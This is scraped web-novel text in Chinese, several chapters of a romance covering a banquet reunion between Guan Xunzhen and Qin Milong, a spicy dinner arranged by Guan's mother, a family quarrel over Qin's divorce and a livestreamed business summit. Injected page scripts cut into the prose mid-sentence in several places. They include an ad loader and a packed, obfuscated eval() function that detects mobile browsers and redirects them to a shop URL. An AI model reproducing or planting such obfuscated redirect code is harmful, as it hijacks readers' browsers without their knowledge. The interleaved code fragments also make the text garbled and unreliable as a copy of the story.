秦觅珑受欢迎,还用别人说吗? 他关寻臻不知道被多少人吐槽过眼光高、条件多,二十多年来都没和哪个同性异性特别亲密过,还不是第一眼见到秦觅珑的时候就…… “先生,到了。”司机停下车。 宴会门口的侍者过来为他拉开车门。 关寻臻在短短几秒内整理好凌乱的思绪,换上挑不出错的礼貌笑容。 只要规避过去的回忆,就能很快地走出戒断反应…… 只要规避…… 下一秒。 关寻臻脸上的礼貌假面瞬间破裂,他的视线死死盯住那个站在门口笑着与宴会主人握手的年轻男人。 长腿窄腰,神仪明秀,周身贵气浑然天成,像是自小就在金银窝里泡大的公子哥,只要往那儿一站,就能夺走所有人的目光。 他从来没见过他穿西装的样子。 也从来不知道,自己能仅凭一个背影就认出那个人。 …… 关寻臻动作迅速地退回车上,“哐”一下关上车门。 侍者一脸困惑。 关寻臻降下一点车窗,做贼似的又看了一眼秦觅珑的背影,对侍者道:“我身体有点不舒服,等会儿再过去。” 随即他吩咐司机直接开往停车场。 他实在是没想到居然这么快就又一次见到了秦觅珑。 相见在即,他却不知道该说什么好。 关寻臻左思右想,坐在温度适宜的车里都觉得有点焦躁不安,索性拿起手机紧急地开始搜索秦觅珑的近况。 不搜不知道,一搜吓一跳。 出轨、成人区主播、擦边、前夫…… 关寻臻一目十行,瞳孔阵亡。 18. 你俩认识? “小秦,你是一个非常优秀的年轻人。”宴会的主人笑得令人如沐春风,他伸出手与秦觅珑相握,“很难想象您能在这么短的时间内仅靠自己努力就走到了这种地步。” 眼前这个年轻人,是最近横空出世的一个投资怪物。 一般而言,个人那点财产在下场资本面前不过是沧海一粟,但这人,硬生生地凭着毒辣的眼光和惊人的嗅觉,抓住市场漏洞把自己的资产翻了数十倍,一手金融杠杆玩儿得风生水起,硬生生让几个行业龙头吃下闷亏。 这次他把人邀请过来,也是认定对方前途不可限量,今后必定大有所为,打算提前卖个好。 “云先生过奖。”秦觅珑向他颔首致意,一派宠辱不惊的模样挑不出错,脸上的笑容清朗又得体,周身气度完全能与云先生见过的那些钟鸣鼎食之家里教养出来的贵公子媲美。 云先生赞赏地拍拍他的肩膀,朗声道:“今天可要玩得高兴!” 原本就有不少人隐隐约约地关注到了这位身姿卓越的年轻人,这时候见宴会主人云先生竟然这么高调又亲昵地在门口和他交谈给他做脸,更是不由得纷纷猜测起他的身份来历来。 云先生和秦觅珑略略交谈几句,表明歉意又去招待其他来客了。 对于现在的秦觅珑而言,对方亲自迎进来又招待他已经是很大的面子了,自然没有什么可挑剔的。 秦觅珑顺手从路过的侍者托盘里取了一杯香槟,突然察觉到了一股无比灼热的视线。 关寻臻从停车场绕过来花了不少时间,宴会里多是些了解他性格的熟人,也不会上赶着贴过来找不自在,遇见点头致意就算是打过招呼。 参与宴会的大多数人今天的核心话题,主要都是围绕着那位能让云先生亲自接待不说还相谈甚欢的年轻人。 “站在窗边的那位究竟是什么来头?” “看那气质,应该是哪家没公开露过面的太子,难道是最近刚从国外回来?” “你想知道?想知道就去问关家那个啊。” “你胡说什么?!关寻臻估计比我们的消息还滞后,成天一副尔等凡人不配和我说话的死人脸,他怎么可能认识……” “你自己看啊,他走过去了。” “???这什么情况?” “看起来也确实像老熟人……难道他们交朋友不但要看资产还要看姿色?” 关寻臻现在暂时不太清楚秦觅珑为什么会出现在这个宴会上,他脑子里全是刚刚从网络上接收的那些爆炸性消息,这些天因为秦觅珑本来就不平静的心绪此刻更是犹如乱麻。 按理说,他不该在宴会上失礼地贸贸然上前和秦觅珑交谈。 这是一场带点私人性质的商务宴会,他不仅仅是关寻臻,秦觅珑也并非是那个和他青涩缠绵的秦觅珑…… 但这种事情怎么可以、怎么能够按理说?! 他现在讲不了道理了。 关寻臻灼灼地盯着秦觅珑,见对方并没有注意到自己的视线,反而端着酒杯走到窗边。 也是,这种带有私人性质的宴会基本以熟人为主。 关寻臻越看秦觅珑越觉得他像是置身狼群之间格格不入的小羊羔,形单影只,显得分外寂寥。 关寻臻忍了半天也没忍住,还是迈开腿朝他的位置走了过去。 等到人跟前的时候,他才发现有哪里不对劲——顺着秦觅珑的视线望过去,被擦得干净如新的窗面完美地倒映出身后热闹的宴会场面,他甚至能看见有几个人在往这边探头探脑。 好啊,原来他早就发现了。 秦觅珑没有转身,两人现在都是面对着窗户的姿势。 倏尔,他对着窗玻璃笑了一下,透过窗面和关寻臻的视线交汇,“你怎么在这里?” 他怎么在这里? 这句话不应该是由他来问吗? 关寻臻暗自腹诽:这该是一个宴会生面孔对常客问出来的问题吗? 秦觅珑唇角微微勾起,转过身来,举起香槟轻轻地碰了碰关寻臻手上的杯子,“我的意思是,在这里见到你有点惊喜。” “那你为什么一直不给我发消息?”关寻臻脱口而出,话毕将杯中酒液一饮而尽。 好吧,他本来以为自己有很多其他问题要问,也本来以为自己并不在乎一直没有收到对方的消息。 秦觅珑眨眨眼,还歪了歪头思考,“难道我忘记回你了吗?我不记得你给我留过言。” 这个动作有点萌。 关寻臻依旧嘴硬,可是语气已经弱下去大半,“就因为我不给你发,你就不主动给我发吗……” “好了。”秦觅珑把视线投向不远处的人群,又转回来看看板着一张脸的关寻臻,不知道为什么又笑了一下,“别撒娇了。等会儿宴会结束一起去吃饭。” 人群里几个探头探脑,时时刻刻用余光关注窗台方向的八卦男女原本聊得火热朝天。 “诶,看起来他俩关系不咋地。” “关寻臻走过去,陌生帅哥一个眼神都没给他,连身体都不转过来,这么不给面子?” “哦哟哟,这个背景不知道多大的嘞,关家都不放在眼里的!” “看看看,转过来了转过来了!碰杯了碰杯了——这是什么意思,关寻臻被挑衅了?一下子把酒喝完了!” “看来关寻臻真的是被气个半死哦,你看那个帅哥笑得多开心,估计两个人连朋友都不是,是那种互相作对很久的关系啦!” “小舅你八卦的声音能不能轻一点!那个帅哥都朝我们这里看过来了!” “怕什么!他又没证据证明我是在说他,哎哟哎哟,这个眼神好犀利喔……” 秦觅珑一眼扫过来,众人安静如鸡。 “各位来宾,欢迎来到我云某人的……” 云先生上台开始致辞,台下一波接一波浪潮般的掌声。 关寻臻一边鼓掌一边低声道:“你和云先生怎么有的交集?” 秦觅珑用同样低的音量回复他,一脸正直道:“我也不知道,是他突然邀请的我。” “……信你才怪。”关寻臻看见他那人畜无害的表情还是忍不住笑了起来,悄悄用自己的手背贴了贴他的,“你之前还骗我说你十八岁,法定结婚年龄都要22了。” 秦觅珑皱眉,“反正当时结婚的人不是我。” 关寻臻斜斜睨他一眼,似笑非笑哼笑一声,看样子是半点也不信。 但他也没打算追问,只是说了一句:“那个谁闹出来的事情,需要我帮忙解决吗?” 本来以为一辈子再也见不到的人,骤然失而复得的喜悦已经打消了很大一部分心里的诸多猜忌。 有些事,不如从长计议。 虽然关寻臻没有明说是谁,但两个人都心知肚明。 “不用。”秦觅珑淡淡道。 这两个字落下后,秦觅珑没有立马就听见旁边关寻臻的回应。 不知道过了多久,关寻臻腔调古怪地说了三个字—— “舍不得?” 秦觅珑一开始还没反应过来,愣了几秒后难以置信地看向关寻臻,“你说什么?” 他舍不得于声? 关寻臻这人讲话怎么这么恶毒? 秦觅珑一脸酱色。 关寻臻观察过他的反应后愉悦地眯起眼,“开个玩笑而已。” 他还想再和秦觅珑多待一会儿,眼前突然走来几个中年 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人,为首的就是今天宴会的主人云先生。 几个中年人相互恭维,脸上都是开怀的笑容。 “是哪个后生得到你老云这么高的评价?这我可真得见识见识。” “是啊,刚刚听你这嘴里都把人夸出花来了,我都没这么听你夸过你家侄子!” “这人我不用过多介绍,你们肯定也有印象!”云先生一脸高深莫测,还没装上几秒就破功了,笑得像个老狐狸,“哦对了,老严啊,说起来,东参道那个项目你儿子亏了多少来着?” 被他称作老严的男人笑脸瞬间僵住,面色也不好看起来,“你提这个干什么?不过亏点给孩子的零花钱。” 云先生但笑不语,大步流星朝前走到秦觅珑跟前,突然瞄到了站在一旁的关寻臻,惊讶道:“小关也在?” 关寻臻礼貌地打招呼,“云叔,还没来得及恭贺您乔迁之喜。” 云先生的视线在两人之间游移不定,他试探地问:“你们、你俩这是早就认识了?” 秦觅珑笑道:“我们是认识蛮久的朋友。” 关寻臻一言不发。 朋友?接吻上床的朋友?还是打过分手炮的朋友? 全然忘记了自己前不久还和关母信誓旦旦说的话。 云先生感慨道:“果然优秀的人在哪里都会发光,就算我没有发现小秦这块金子,小关也早就和你结交了。” 他笑眯眯地给那几位中年人引荐秦觅珑,“看,这小伙子,长得真不错吧?” “是,是挺不错!一看就是能成大事的人!” “小伙子有对象没有?我家闺女就喜欢你这个类型的。”说这话的正是老严。 云先生笑得乐不可支,“老严呐!隆重给你介绍一下这位,你那个东参道的项目就是被这小家伙给截胡的!” 果不其然,老严的笑容又一次僵在了脸上。 一旁的关寻臻闻言更是震惊,东参道那个项目他也有所耳闻,这个项目的投资失败在圈内引发了不少热议,可他却不知道,造成这一切的居然是秦觅珑?! 那个项目虽然不算什么大项目,但也价值小几个亿,对于严氏这种大公司来说,基本是一块十拿九稳的美味小蛋糕,却不想被一个籍籍无名的小公司截胡了,那个小公司背后的操纵人至今没有浮出水面。 关寻臻这才用全新的眼光打量了一遍秦觅珑。 论外在,没得挑,身材容貌都是一等一的,论内在,也没话说了,哪个初出茅庐的小菜鸟能有这种和行业龙头抗衡的心智与胆魄? 至于其他的……关寻臻只知道他每次一看见秦觅珑就觉得心底发颤。 这个人,对他太有吸引力了。 云先生笑得幸灾乐祸,不忘给另几个老总引荐,“老周,你那个诺投城的地皮也是他做的;老金,几百吨的镍期货记得不?还有老张……” 秦觅珑赶紧打断云先生拉仇恨的行为,“云先生,我还年轻,实在担不起您这么夸赞。” 云先生一脸不以为意,“哎哟,这有什么?你小子不是也让我一个策划案作废了吗?” “我们这群老家伙看见有你这么优秀的年轻人出来也高兴!拿点给孩子的零花钱让你练练手,不亏!是吧,老严?” 云先生哈哈大笑,朝着严老板挤眉弄眼。 严老板:“……” 从宴会出来以后,关寻臻有满肚子的话想问出口。 最后也只化为一句,“我知道附近有家酒店很不错,去吗?” 秦觅珑一言难尽地看他一眼。 关寻臻瞬间读懂他眼神里的含义,立马辩解道:“不是!那家酒店是我家开的,有个不对外开放的无边泳池很值得体验。” 19. 关母:朋友是要哄的 关寻臻的无边泳池之邀被一个突如其来的电话打断。 他对秦觅珑打了个手势示意自己要先打个电话。 “没有!你想多了,我们是朋友……”关寻臻突然看了秦觅珑一眼。 “好,我知道了,我问问他。” 秦觅珑向他投去一个询问的眼神。 关寻臻在秦觅珑契而不舍递过来的小眼神里踌躇许久,最后还是一咬牙气闷道:“不知道宴会上哪个八卦的熟人和我妈说我在宴会上仗势欺人,摆脸色给云先生很器重的生面孔贵客看,还打算给人家下马威,要不是云先生及时赶到……” “这么有意思?你们家现在还有告状那一套呢?”秦觅珑闻言乐得不行,“幸好云先生及时赶到,成功让我逃脱魔爪……” 关寻臻面无表情捏住他脸上的腮肉,语气凶残实则动作轻柔地揪了揪,“是啊,可惜现在云先生不在了,你又落到我手上了。” 秦觅珑任由那只手留在他手上作乱,抬手整理有些凌乱的袖口,俊美眉目含笑,“好吧。” “要杀要剐,悉听尊便。” 关寻臻的手游移到他的胸膛上,掌心下是隔着一层布料的结实触感,他哼笑一声,“有恃无恐了是不是?” 秦觅珑面色不变,捉住那只手挪开,关寻臻正要挣扎,秦觅珑握住他的手塞进了自己的口袋里,果然某人瞬间安分下来。 “无边泳池不去了?” “暂时是去不了了,我妈说让我请你吃顿饭赔罪。”关寻臻摊开手,解释道:“她说位置已经订好了,是家湘南风味餐厅。你不想去的话我就发个消息和她说一下。” 秦觅珑叹了口气,“我只是担心你会失望……” 失望?失望什么?失望去不了无边泳池吗? 关寻臻用力握了一下秦觅珑藏在口袋里的那只手,咬牙切齿道:“我根本没有那种意思!” 这么久不见,想亲近一下不是很正常? 难道就他一个人有想法?? 关寻臻的脸一会儿青一会儿红,眼神倒是气势汹汹的,只不过细看几眼便知道某人不过是色厉内荏。 “逗你的。”秦觅珑以牙还牙,把刚才的捏脸之仇还回去,笑容恶劣地把关寻臻两边的腮肉往外扯。 关寻臻自己出手的时候没什么想法,轮到他被秦觅珑捏了一下,整张脸登时从天灵盖红到了耳后根。 “淮南风味菜……”他努力假装镇定,说到后面连说了什么也不知道。 等回过神来的时候,就看见秦觅珑偏着头,以拳抵唇,低低地笑,笑声闷闷的显然是努力抑制过的。 “我刚……我刚刚没乱说什么吧?”关寻臻结结巴巴,语调不成声,崩溃到了极点。 “有吗?”秦觅珑敛起笑意,状似茫然地反问回去。 关寻臻恨恨地磨了磨牙:“……” * “不错,这小伙子长得挺俊。”一位雍容华贵的中年女人满意地点了点头。 她站在落地窗前,身前有一架望远镜,瞄准的方向正是B市某家赫赫有名的餐厅,以特色的湘南风味上榜了全球50佳餐厅,氛围极其适合朋友聚会,和那些主打浪漫情调的西餐厅截然相反。 “就是听不见他们在聊什么,这臭小子究竟有没有好好道歉呢?” 餐厅里。 关寻臻放下筷子,面色担忧道:“你还好吧?” 他之所以问出这句话不是没有缘由的——秦觅珑已经叫了第三杯冰水了。 关母就是一位地道的湘南人士,不论是她自己掌勺还是家里的厨师做饭,餐桌上都会有几道湘南菜。 他们俩上次去的私房菜也是地地道道的H市口味,辣椒只会作为点缀增色并不是主要的调味料,因此关寻臻也忘记事先问问秦觅珑能不能吃辣了。 他抬手招来服务生叮嘱道:“后面的菜都做免辣,不能免的尽量减辣。” “不用,没事,我能吃。”秦觅珑抬起脸,整张脸都是细汗,吃得眼尾都红了,眼里还含着一泡泪,嘴唇红艳艳的仔细看看好像还有点微肿,反观关寻臻,只是唇色红了些。 关寻臻被他这幅样子吓了一跳,语气无比温和地安抚他,“晚上吃这么多辣不好,我正好也想换 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 换口味,尝尝不放辣的湘菜。” 秦觅珑做了个深呼吸,抽了张纸巾擦脸,“那好吧,既然你都这么说了,那就改成免辣的吧。” 这个所谓的H片世界,难道连辣椒都比其他地方更辣?! 关寻臻按了一下自己悄悄往上翘的唇角,努力不让自己笑出声。 刚才的服务生还没有离开,他侍立在桌旁,热情伶俐地介绍起来,“是这样的!我们餐厅新引进了湘南本地新研发的薄皮辣椒,配上著名的汉源花椒,经过国宴名厨七七四十九天炒制,才形成本餐厅独特的特选风味,订下这桌菜的女士特意让我们把所有菜都做成这种特选风味,说是要好好招待客人。” 服务员这张嘴像是一挺无差别攻击的重型机枪,让秦觅珑和关寻臻都陷入了沉默。 挥退服务员后,关寻臻艰难地开口:“抱歉……这桌菜估计真的是我妈为自己准备的。” 然后在听闻好大儿在宴会上给人摆脸色后,慷慨让出了自己一桌的特选椒麻风味大餐。 “阿姨……咳咳……阿姨也是好心。”秦觅珑被辣得嗓子发疼,咳了好几下,把面前那杯冰水一饮而尽才好不容易顺过气来。 这顿饭以两人沉默地享用服务生端上来的免辣菜告终。 站在对面大楼的关母凑近望远镜,露出了老母亲特有的欣慰笑容,“怎么一句话都不说?看来我特意点的风味菜果然好吃……” 光看那菜色就把人香迷糊了,这下关寻臻还不得被这份母爱感动得一塌糊涂? 餐厅里。 关寻臻尴尬得一塌糊涂。 他心想,早知道的话,他就算是带秦觅珑去吃老掉牙的西餐厅,也不接受他妈精心准备的这桌特色菜啊! 这下好了,周围一群人吃得热火朝天,秦觅珑更是吃得满头大汗,眼含泪水,他都担心下一秒这人就要举起三根筷子向皇天后土发誓要和他关寻臻拜把子。 现在这情况,不能说是偏离了他原本预设的走向,但也算是百分百没重合吧。 毕竟《无边泳池》和《无人说话只是夹菜》的区别实在有点大…… 20. 结过婚?我不同意! “福宝乖乖乖,看看这是谁回来啦?喔,原来是没有朋友的哥哥回家了!”关母眼神慈爱地摸着有了新名字的小狗,轻声细语的不知道在说给谁听。 正在换鞋的关寻臻动作一顿,抬起头看过去,发现关母都没分给他半个眼神。 “妈,今天这事儿真的不能怪我。” 关母淡淡递了一个眼神过来,“那怎么吃完饭就散了?现在的年轻人都爱热闹,人家没邀请你在外面多玩会儿,意思就是没原谅你呗。看看你每天笑也不笑,看见谁都一副债主的样子,有人和你做朋友才怪啊!” 关寻臻:“……” 他心想,人家不仅和他做朋友,还和他做呢。 不过这种话也只能放在心里吐槽一下。 关寻臻揉揉额角,起身把酒柜打开,“还不是你那桌菜害的?他吃不了辣,我俩也没多尽兴,我把人送到酒店就回来了。” 后半句没说完整——送到了拥有无边泳池的酒店的关寻臻专属总统套,并且两人热吻了五分钟才分开。 关母问:“那个小伙子长得挺俊的,有对象没有?” 一听这话,关寻臻霎时像被踩了尾巴的狐狸似的,猛的转过脸盯住他妈,“你想干嘛?那可是我朋友。” “就问问嘛。” 关寻臻如临大敌,严防死守,半真半假道:“他婚都结过了。” “这么早?!我看他还只有二十出头差不多……”关母语调可惜。 “不对……”关寻臻挑了瓶酒拿出来,关上酒柜门,狐疑道:“你怎么知道他长得挺俊,看起来只有二十多?” 关寻臻眯起眼睛,怀疑的视线犹如刑讯室里锃亮的大功率白炽灯泡在关母的脸上扫来扫去。 “我就没见过你身边有长得丑的。”关母一脸淡定,没有露出丝毫破绽。 关寻臻拧开酒塞,冷笑一声,“呵呵,你以为我这么好糊弄?” “糊弄什么?”关父适时从玄关走进来,夹着公文包乐呵呵地问。 得益于中德混血的原因,他已到中年却仍然不显老,五官还是依旧深邃立体,只是略微发福了些。 “哦,没什么。”关母轻飘飘地丢出一个炸弹,“你儿子谈恋爱了,还让人家住酒店。” 关父:“!” 关寻臻:“?” 刚刚在这里和他妈聊天的人去哪儿了?反正应该不是他本人吧?! 他想也不想就冲动反驳道:“还没谈!” 话音落下,关母叹了口气,耸耸肩,无奈道:“看,追这么久都还没追到。” 关寻臻:“……” 关父放下公文包,摸了摸脑门,有点不放心道:“现在你俩到什么阶段了?人家对你有没有那个意思?你可不要拿钱砸人逼人家和你在一起啊。” 关母抢答:“到你儿子见不到人就茶不思饭不想的阶段了,不太能吃辣但是长挺俊一小伙子,但人家不见的有多喜欢他。” 关父闻言几乎是瞬间就皱起眉头,神情严肃地虎着脸,“男人?” 关寻臻刚要开口,关母又抢先一步,狠狠瞪关父一眼,“恋爱自由懂不懂?人家小伙子白白净净个子又高,和你儿子站一起别提有多登对了,我当时看见他俩一起吃饭都想拍个照片留纪念呢。” 听见关母直接自曝的关寻臻:“……” 他妈居然还偷看他俩吃饭……啊? 关父背着手,在客厅里踱来踱去,眉头就没松开过,“他本人做什么工作的?” 问到点子上了,关寻臻还真的忘记问秦觅珑现在在干嘛了,他不确定地道:“他之前做网络直播……” “啊?什么东西?”关父眉宇间的沟壑更深了,匪夷所思道:“就是个小主播?” 关母又不乐意了,“主播怎么了?长这么好看,就应该让大家都看看啊,靠自己挣钱有什么丢脸的?” 关寻臻小鸡啄米式点头,附和道:“他才开播几天就有很多粉丝了,比很多人做了好几年的都要强。” “呵呵。”关父发出一声关式传统冷笑,“靠自己赚钱,不会赚的是你给他的打赏吧?” 牢牢占据榜单前三的关寻臻心虚得无话可说,他试图挽救,“他现在不当主播了,前几天我还在云叔的宴会上碰到他,云叔非常看好他,我妈也知道他出现在宴会上……” 关父面无表情,“你是说,一个小主播,突然具备了被金融大佬赏识的潜质,而且还有一个给他花不少钱的人傻钱多二代一边追他一边为他摇旗呐喊?” 这句话里一共三个人,虽然听起来像是在针对秦觅珑,但是关寻臻总觉得自己被骂得很惨。 关寻臻给关父倒了杯酒,“来,请您喝您最爱的藏品。” 关父看了一眼,没错,这小子没骗他,随随便便就开了一瓶他在有客人来时才舍得拿出来小酌一杯的好酒。 虽然肉疼,但酒液入喉后残留在唇齿之间香醇的酒香勉强安慰了关父焦躁的心绪。 关母再接再厉,“你都不知道你儿子有多喜欢人家,想到要和人家结婚的地步,他还骗我说人家结婚了。” 她咯咯笑了两声,对上关寻臻乌沉沉又坚定的眼神,突然像被卡了脖子的鸭子,一点也笑不出来了,笑容戛然而止。 关寻臻认为,他妈说的对,他真是一和人分开就茶不思饭不想,反正现在秦觅珑也来B市了,难道B市能找出比他关寻臻更好的男人? 他俩这就是天注定的姻缘没跑了。 伸头也是一刀,缩头也是一刀,秦觅珑还算半个公众人物,就算到时候想瞒也瞒不住,还不如让爸妈了解一下他以后的结婚对象。 关寻臻语气真诚地说:“没骗你们, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13963369|147937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他是真的结过一次婚。” 他想了想,补充道:“不过我们认识的时候就离了。” “咔嚓。”虽然人到中年,但身体素质不减的关爸爸捏碎了酒杯。 虽然提前察觉到哪里不对但还是没有勇气确认心里那个猜测的关妈妈笑容僵硬如被风干的千年木乃伊。 “我不同意!” 这句话是关母说的。 她叫关寻臻的大名,语调里全无刚才的温柔慈祥,表情很冷淡,“关寻臻,我还以为你眼光多高呢,你倒好,挑了一个别人不要的。” 关寻臻“噌”地一下站起来,被他妈这句话惊住,“妈,你在说什么?离婚不是他的错,是他另一半出轨了!” 关母冷笑,“那就更不行了,他长那么帅谁知道私下里玩儿得有多花,否则他这个条件人家会出轨吗?除非那个人脑子有问题!那就更不行了,我儿子绝不能和跟脑残结过婚的男人在一起,否则你关寻臻连个脑残都不如!” 别说关寻臻了,连关父都是第一次听见关母爆粗口。 关寻臻急了,吼道:“谁说他有癖好了?他玩儿得根本不花!他什么经验都没有全是我一手教出来的!” 说完最后一个字,全场落针可闻。 连关母怀里的狗都不敢喘气。 过了五分钟左右,关寻臻咽了咽口水,状似镇定自若道:“妈,我刚才太激动了,吼你是我不对。” * 甜瓜粉普天同庆! 开播几天就任性玩消失的Melon又回来了! 直播间已经挂上了今晚的直播预告。 兴奋的甜瓜粉到处乱窜,像是瓜田里的猹,在被其他主播粉丝用钢叉插住之前迅速流窜到了下一个直播间作案。 此举虽然略微败路人好感,但也切切实实宣传到位,让大量平台用户都知道了那个在热搜上挂了很久的Melon终于要开播了。 晚上七点整。 直播间新贴上一条链接。 想吃瓜的、想舔颜的、想骂人的、想围观的……点进去都愣住了。 【什么情况,我是来看爱恨情仇的……】 【这啥呀这是?什么新兴前沿科技产业,什么经济价值,什么探讨峰会,怎么乱七八糟的?】 【哦吼哦吼~又见到甜瓜哥了,这颜值没话说,真的抗打,穿正装好帅啊,西装裤长腿杀我!(星星眼)】 【?他旁边那个怎么和B市□□长得一模一样?连座位牌上的名字都一模一样?】 【鱼粉已提着四十米大刀到达现场,你小子敢不珍惜余生老婆有你后悔的,你就等着……诶,不是,这场合怎么这么严肃(小声bb)】 【楼上这些人哪里来的?】 【起猛了,怎么直播间里有人顶着我校院士牛导的名字和头像冲浪啊……】 21. 他才不会卖儿求荣 关父也在这场探讨峰会里。 台上的年轻人侃侃而谈,站在成百上千的成功人士面前也毫无畏怯之色,意气风发的姿态、饱满流利的语调语速、叫人耳目一新的见解,无一不令人为之而侧目。 岁数看起来和自己儿子差不多大,却已经凭借着自己的努力走到了普通同龄人望尘莫及的高度,关父甚至都不敢去想象假如关寻臻失去现有的平台之后会变成什么样,也无法想象这个没听过名字的小孩出生于什么样的家庭。 难道这就是传说中的穷人的孩子早开花?是不是他在培养关寻臻的时候给予的沃土太肥了点? 否则那臭小子怎么会随随便便就看上一个离异男,还非对方不可? 他关行风的儿子眼光怎么会这么差? 喜欢男的就喜欢男的,世上大把大把的优秀青年,不说和台上这个一样出色,起码也得找个身世清白,经历空白的好男人吧? “以上就是我个人的一些想法,欢迎感兴趣的各位在会后与我探讨交流。”秦觅珑向台下颔首致意,露出一个礼貌的笑容。 不知道是不是由于这个世界的成人产业过于发达创造了不少GDP的原因,很多经济产业并不强劲,拿秦觅珑最熟悉的房地产来说,原世界中房地产的衰落与产能过剩也有一定关系,而这个世界几乎像是原世界的产业发展倒退二十年。 很多理论和投资理念在这里甚至还没有人发现,秦觅珑前世从经营管理公司中总结出的经验教训在他爹妈这两位精英面前不值一提,在这里却是一个又一个崭新的商机。 【帅哥你谁?再这样下去我会觉得自己不配粉你。】 【我真的不相信Melon这种言行谈吐会是普通人家教出来的小孩。】 【说的什么一大堆叽里咕噜鸟语,一看就是稿子背得还不够熟练。】 【前面的你是神经病吗我请问呢?余生给你下蛊了还是给你下药了?天天叫出轨男香软老婆亲亲体贴你们也不怕得电子艾滋啊,笑死。】 【我就想问一句:余生何德何能呢?】 【开始了开始了,水军来了,在这种会议上开直播来给自己洗白?真的手段很low……】 【这里是官方直播间,傻杯勿扰。】 【洗白个der啊,你没看他PPT里连自己公司名字和经营业务都打出来了?你以为人家多稀罕为了一个擦边主播开直播澄清呀,我们Melon现在是公司CEO好吗?明摆着利用流量做宣传呢,我刚刚去他这个公司官网看了一下,显示访问人数过多请稍后再试,目的已经达到了。】 【哈哈哈哈哈哈哈哈乐,发财脑vs性缘脑,究竟是谁low我不说……】 【喂??帅哥你就这么水灵灵地下台了?这才几分钟啊,还没你以前自己直播的时间长!】 …… 没有一个商人能对近在眼前的一大笔钞票说不。 会后,秦觅珑刚站起来,周遭就迅速多了几道身影,关行风赫然在列。 关总凭借自己高大精壮的身材,成功挤掉了一堆啤酒肚还虚胖的同龄人,他上来就扬起一个热情的笑容,“秦觅珑是吗?真是个好名字,我看你和我家孩子差不多大,叫秦总太生分了,叫你小秦可以吗?” 秦觅珑鲜少遇到这种地位比他高还说话这么没有架子的中年人,略微有些惊讶,随即反应过来后,笑道:“当然可以,您随意就好。” 关行风原本是想过来找秦觅珑谈谈投资的事情,却没忍住嘴巴一秃噜把藏在心里的好奇问出了口,“你谈朋友了吗?” 话音一落,他就忍不住老脸一红,连忙用余光左看看右瞟瞟,担心其他人会鄙夷他居然没急着大赚特赚,而是问出这么个不专业的问题。 然而他却没发现有谁的脸上露出了鄙夷,反而都是一脸恍然、敬佩,甚至于他旁边那位仁兄脸上还有些愤慨? 那位仁兄果然气冲冲地开口了,“你这也太着急了吧关总?我怎么记得你家是个小子不是闺女来着?还是说嫂夫人近些日子又怀上二胎了?” 旋即仁兄又面色温和地对秦觅珑道:“贤侄,我家里姑娘和你岁数差不多大,也是学商科的,你们都是年轻人肯定聊得来,你和我先加个联系方式,回头你俩见面多沟通沟通?” 关行风:“……?” 这话什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13963370|147937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么意思啊?难道他们以为他是个卖儿求荣的人? 搞笑。 关行风正欲开口解释,身后传来一声洪亮的打招呼声。 “诶!可算找着你了小秦!哟,老关你也在?我就说上次怎么看见小秦和你儿子在一块呢,原来你也认识他啊。” 虽然关行风的脑子还没转过来,但此时此刻,他的脑海里突然拉响了高分贝的警报声! 滴嘟滴嘟—— 秦觅珑恍然大悟,他就说这个陌生叔叔看起来怎么有点面善呢,可不就是长得像关寻臻吗! 结合云先生对他的称呼,应该是关寻臻的父亲没错了。 就是这位关先生,刚刚一上来就问他谈朋友了没是什么意思,难不成是关寻臻不好意思自己开口,想让他爸出马,替他们俩这段关系要个名分? —————————————————— 于声默默看完了整场直播。 他知道,他和汪霖的计划已经彻底失败了。 汪霖想把秦觅珑搞脏搞臭,最好浑身污点一辈子做不了网红。 可现在,网友甚至说他于声的存在才是秦觅珑最大的污点…… 何况,现在的秦觅珑,那么耀眼、那么陌生……让于声都开始恍惚,他真的和这样的人有过一段婚姻吗? 恐怕在秦觅珑眼里,他和汪霖联手做局也不过是跳梁小丑吧,甚至于,他的眼里究竟还有没有他于声的存在? 于声捂住脸,眼泪大颗大颗从指缝里往下跳,哭得凄惨又委屈。 他只是想要挽回自己的婚姻,他有什么错? 现在有那么多人都喜欢他,凭什么秦觅珑就不肯回头看他一眼? 电话铃声突然响起,于声看也没看一眼,噙着泪接起来,带着哭腔应了一声,“喂?” 电话那头明显顿了一下,语气听上去很关心他,“怎么哭了?” 听见这道声线,于声顾不得擦掉眼泪,怔怔道:“你……你怎么突然给我打电话……” 对面的男声轻笑了一下,“很久没见你前夫了吧?我带你去见见?早知道我那天动作轻点,也不至于让你被离婚……” 22.爸,他听得懂德语 关寻臻这几天被他爹看得死死的,一下班关行风就问他人在哪里,一回家就虎视眈眈坐在门边,怀疑他要趁机跑出去幽会。 小关总愣是没找到一点可钻的空子。 不过他之所以甘愿妥协,也是因为,秦觅珑实在太忙了,连和他见面都得做个行程表,他想想还是算了,反正以后能见面的机会多得是,不如多给秦觅珑留点休息时间。 于是关寻臻只能兢兢业业去公司里上班,实在无聊就给自己加个班,偷偷摸摸躲在公室里津津有味地看Melon的直播回放,然后给某人发点暧昧情话挑逗他,自己偷偷窃喜。 比如现在。 